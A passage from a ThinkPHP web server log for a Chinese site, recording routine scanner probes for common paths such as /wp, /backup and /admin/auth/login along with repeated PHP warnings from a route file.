directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:33:58+08:00 ] 139.60.185.66 GET 59.110.137.245/ [运行时间:0.019261s] [吞吐率:51.92req/s] [内存消耗:159.32kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'GCore Labs Cyberthreat Research', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:10+08:00 ] 52.237.213.186 HEAD 51tianwei.com/wordpress [运行时间:0.023929s] [吞吐率:41.79req/s] [内存消耗:132.59kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wordpress', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:10+08:00 ] 52.237.213.186 HEAD 51tianwei.com/ [运行时间:0.001381s] [吞吐率:724.03req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:11+08:00 ] 52.237.213.186 HEAD 51tianwei.com/wp [运行时间:0.001602s] [吞吐率:624.25req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:11+08:00 ] 52.237.213.186 HEAD 51tianwei.com/bc [运行时间:0.001574s] [吞吐率:635.31req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bc', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:11+08:00 ] 52.237.213.186 HEAD 51tianwei.com/bk [运行时间:0.001562s] [吞吐率:640.25req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bk', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:11+08:00 ] 52.237.213.186 HEAD 51tianwei.com/backup [运行时间:0.002336s] [吞吐率:428.08req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'backup', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:11+08:00 ] 52.237.213.186 HEAD 51tianwei.com/old [运行时间:0.001687s] [吞吐率:592.75req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'old', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:11+08:00 ] 52.237.213.186 HEAD 51tianwei.com/new [运行时间:0.001725s] [吞吐率:579.72req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'new', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:12+08:00 ] 52.237.213.186 HEAD 51tianwei.com/main [运行时间:0.001582s] [吞吐率:632.15req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'main', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:36:12+08:00 ] 52.237.213.186 HEAD 51tianwei.com/home [运行时间:0.001693s] [吞吐率:590.66req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'home', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:39:07+08:00 ] 147.185.132.43 GET www.51tianwei.com/admin/auth/login [运行时间:0.001862s] [吞吐率:537.04req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:40:33+08:00 ] 205.210.31.155 GET 51tianwei.com/admin/auth/login [运行时间:0.001981s] [吞吐率:504.79req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:41:06+08:00 ] 198.235.24.180 GET www.51tianwei.com/admin/auth/login [运行时间:0.001751s] [吞吐率:571.12req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:41:23+08:00 ] 198.235.24.64 GET 51tianwei.com/admin/auth/login [运行时间:0.001716s] [吞吐率:582.79req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:41:55+08:00 ] 147.185.132.198 GET 51tianwei.com/admin/auth/login [运行时间:0.001777s] [吞吐率:562.77req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:42:58+08:00 ] 205.210.31.156 GET www.51tianwei.com/admin/auth/login [运行时间:0.001733s] [吞吐率:577.09req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:43:09+08:00 ] 198.235.24.84 GET www.51tianwei.com/admin/auth/login [运行时间:0.001717s] [吞吐率:582.46req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:43:34+08:00 ] 198.235.24.29 GET 51tianwei.com/admin/auth/login [运行时间:0.001685s] [吞吐率:593.51req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:44:59+08:00 ] 205.210.31.252 GET www.51tianwei.com/admin/auth/login [运行时间:0.002743s] [吞吐率:364.56req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:45:01+08:00 ] 205.210.31.252 GET www.51tianwei.com/admin/auth/login [运行时间:0.001667s] [吞吐率:599.96req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:45:15+08:00 ] 218.66.171.228 HEAD 